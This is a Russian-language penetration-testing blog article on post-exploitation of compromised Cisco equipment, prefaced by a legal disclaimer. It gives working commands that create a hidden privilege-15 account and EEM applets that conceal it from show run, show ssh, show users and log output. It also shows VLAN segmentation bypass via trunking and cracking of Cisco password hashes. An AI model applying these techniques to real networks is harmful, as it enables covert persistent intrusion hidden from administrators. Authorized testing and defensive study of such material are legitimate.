Пост-эксплуатация взломанного оборудования Cisco
Всем привет, я @necreas1ng и я являюсь исследователем сетевой безопасности, сетевым инженером и специалистом по тестированию на проникновение. В этой небольшой статье ты узнаешь как происходит процесс пост-эксплуатации взломанного оборудования Cisco. Покажу несколько трюков, которые, возможно, подарят тебе импакт во время проведения пентеста.
Intro (Disclaimer)
Данная статья предназначена для специалистов по безопасности, которые проводят тестирование на проникновение в рамках согласованного контракта. Разрушение и взлом чужих компьютерных сетей преследуются по закону. Будь осторожен.
Играем в прятки, используя Cisco EEM
Cisco EEM — это небольшой, скажем так, «язык программирования» с помощью которого можно писать различные сценарии для Cisco IOS, автоматизировать рутинные задачи. В рамках тестирования на проникновения, EEM поможет нам спрятать созданного нами пользователя на взломанном устройстве.
Но! У такого метода есть и свои недостатки, такие как:
Есть N-ая вероятность спалиться в логах сервера SYSLOG
Есть N-ая вероятность спалиться в логах сервера SNMP
Если сетевой инженер тоже использует Cisco EEM, он может заподозрить что-то не ладное
Сначала нам нужно создать самого пользователя, который будет использоваться для закрепления на оборудовании. Соблюдай, чтобы префикс «hidden_» тоже был у ника, создаваемого тобою пользователя. С помощью данного префикса мы и будем прятать созданного нами пользователя по маске » | hidden »
Owned(config)# username hidden_papercut privilege 15 secret tellmeyouloveme
Прячем пользователя из вывода команды «show run»
Данная команда очень часто используется сетевыми инженерами, она выводит конфигурацию устройства, которая используется в данный момент времени.
Owned(config)# event manager applet hide_from_showrun
Owned(config-applet)# event cli pattern "show run" sync yes
Owned(config-applet)# action 0.0 cli command "enable"
Owned(config-applet)# action 1.0 cli command "show run | exclude hidden | event | action”
Owned(config-applet)# action 2.0 puts "$_cli_result_showrunapplet”
Owned(config-applet)# end
Прячем пользователя из вывода команды «show ssh»
Данная команда выводит активных на данный момент пользователей, подключенных через SSH.
Owned(config)# event manager applet hide_from_showssh
Owned(config-applet)# event cli pattern "show ssh" sync yes
Owned(config-applet)# action 0.0 cli command "enable"
Owned(config-applet)# action 1.0 cli command "show ssh | exclude hidden”
Owned(config-applet)# action 2.0 puts "$_cli_result_showsshapplet”
Прячем пользователя из вывода команды «show users»
Данная команда выводит активных на данный момент пользователей, подключенных через VTY. Обычно это удаленные Telnet/SSH-сессии.
Owned(config)# event manager applet hide_from_showusers
Owned(config-applet)# event cli pattern "show users" sync yes
Owned(config-applet)# action 0.0 cli command "enable"
Owned(config-applet)# action 1.0 cli command "show users | exclude hidden”
Owned(config-applet)# action 2.0 puts "$_cli_result_showusersapplet”
Прячем пользователя из локального логирования Cisco IOS
Owned(config)# event manager applet hide_from_showlog
Owned(config-applet)# event cli pattern "show log" sync yes
Owned(config-applet)# action 0.0 cli command "enable"
Owned(config-applet)# action 1.0 cli command "show log | exclude HA_EM | hidden”
Owned(config-applet)# action 2.0 puts "$_cli_result_showlogapplet”
С апплетами EEM можно экспериментировать, не ограничивайся только данными способами.
Lateral VLAN Segmentation Bypass
Если ты получил доступ к коммутатору, к которому ты подключен напрямую — у тебя появляется возможность обхода VLAN-сегментации внутри сети. Достаточно переключить порт в режим магистрального канала (иначе говоря, Trunk), создать виртуальные интерфейсы с идентификаторами целевых VLAN-сетей и настроить IP-адрес. Можно попробовать запросить адрес динамически (DHCP), а можно настроить статически.
Сначала нужно выяснить, к какому именно порту ты подключен. Это можно выяснить либо через CDP-сообщения, либо поискать порт по маске «include»
CDP-объявление от коммутатора. Мы на порту GigabitEthernet 0/2
Если вдруг CDP отключен, можно попробовать поискать порт по нашему MAC-адресу.
SW1(config)# show mac address-table | include 0050.0000.0500
Найдент порт Gi0/2 по MAC-адресу
Перед тем как переключиться в транк, необходимо перечислить существующие сети VLAN, выяснить их идентификаторы. Потом эти идентификаторы мы будем вешать на свой интерфейс, чтобы получать доступ к этим сетям VLAN. Таким образом, благодаря транку, мы можем получить доступ в любую сеть VLAN.
SW1# show vlan brief
Информация о сетях VLAN
Кстати говоря, порт, к которому мы подключены — принадлежит сети VLAN 10.
Приступим. Входим в режим конфигурации интерфейса и переходим в транковый режим.
SW1(config)# interface GigabitEthernet 0/2
SW1(config-if)# switchport trunk encapsulation dot1q
SW1(config-if)# switchport mode trunk
Во время переключения в режим магистрального канала теряется связность. Но скоро мы это исправим.
Потеря связности в момент переключения режима порта
Создаем виртуальные интерфейсы и «вешаем» на них VLAN ID
necreas1ng@Inguz:~$ sudo vconfig add eth0 10
necreas1ng@Inguz:~$ sudo vconfig add eth0 20
necreas1ng@Inguz:~$ sudo vconfig add eth0 50
necreas1ng@Inguz:~$ sudo vconfig add eth0 60
Поднимаем интерфейсы
necreas1ng@Inguz:~$ sudo ifconfig eth0.10 up
necreas1ng@Inguz:~$ sudo ifconfig eth0.20 up
necreas1ng@Inguz:~$ sudo ifconfig eth0.50 up
necreas1ng@Inguz:~$ sudo ifconfig eth0.60 up
Теперь нужно запросить адрес по DHCP. Но если в твоем случае не будет такой возможности, то можно и статически настроить адрес.
necreas1ng@Inguz:~$ sudo dhclient -v eth0.10
necreas1ng@Inguz:~$ sudo dhclient -v eth0.20
necreas1ng@Inguz:~$ sudo dhclient -v eth0.50
necreas1ng@Inguz:~$ sudo dhclient -v eth0.60
Полученные IP-адреса по DHCP
Пример настройки статического IP-адреса на интерфейсе (VLAN 10)
necreas1ng@Inguz:~$ sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
Для проверки связи инициирую ICMP-запросы до шлюзов по умолчанию для сетей VLAN 10, 20, 50, 60
Связность до шлюзов
В итоге, я обошел VLAN-сегментацию и могу пробиться в любую VLAN-сеть, что развязывает мне руки для дальнейших «наступательных» действий.
Bruteforce hashes
Когда ты перечисляешь конфигурацию устройства, есть смысл попытаться сбрутить хеши паролей. Вдруг тебе удастся сбрутить хеш пароля той учетной записи, которая имеет максимальные привилегии. В Cisco IOS есть несколько типов паролей, которые находятся в зашифрованном виде. Табличка ниже сориентирует тебя по типам хешей, как брутить и сколько времени понадобится.
Таблица хешей в Cisco IOS
Теперь приступим к самому брутфорсу. В выводе команды «show run» ты наверняка наткнешься на эти строчки
Учетные записи и их пароли в зашифрованном виде
Брутфорс хешей я проведу через утилиту John. Немного отформатирую хеши, чтобы John смог распознать сами хеши внутри файла, который мы будем подавать в качестве входных данных.
BeforeAfter
Начинаем сам брутфорс. С помощью ключа --wordlist указываем путь до словаря. John сам определит тип хешей внутри файла.
Взломанные пароли пользователей lies и anxious
Попробуем зайти на маршрутизатор под адресом 10.10.10.100 с кредами пользователя lies
Вход в панель управления маршрутизатором от имени lies
Configuration Enumeration
Классическое перечисление конфигурации
С помощью команды show run можно выяснить, какая конфигурация исполняется в данный момент времени. Это раскрывает некоторые особенности инфраструктуры, возможно, данная информация приведет тебя к более легкой «победе» во время пентеста. Например, вдруг ты обнаружишь использование AAA-сервера, что дает ещё один вектор атаки (для абьюзинга RADIUS/TACACS)
Owned# show run
Перечисление конфигурации, часть 1Перечисление конфигурации, часть 2
Cisco IOS ver.
Будет полезно узнать версию Cisco IOS на устройстве. С помощью данной информации, пентестер сможет перечислить версию Cisco IOS на предмет наличия той или иной уязвимости. Вдруг он попал на роутер с read-only учеткой, а потенциальное наличие уязвимости даст ему LPE, черт его знает…
Owned# show version
Версия Cisco IOS
CCAT
CCAT (Cisco Config Analysis Tool) — это специальная утилита, созданная для анализа файлов конфигурации оборудования Cisco на наличие брешей в безопасности. Она поможет автоматизировать процесс поиска мисконфигураций безопасности, данная утилита будет полезна как пентестерам, так и сетевым администраторам.
CCAT анализирует файл конфигурации
Outro
В рамках данной статьи я поделился небольшими трюками, которые помогут облегчить жизнь пентестеру. Но думаю, моя статья также подарит сетевым администраторам некоторую осведомленность, с помощью которой они смогут повысить уровень безопасности своего оборудования.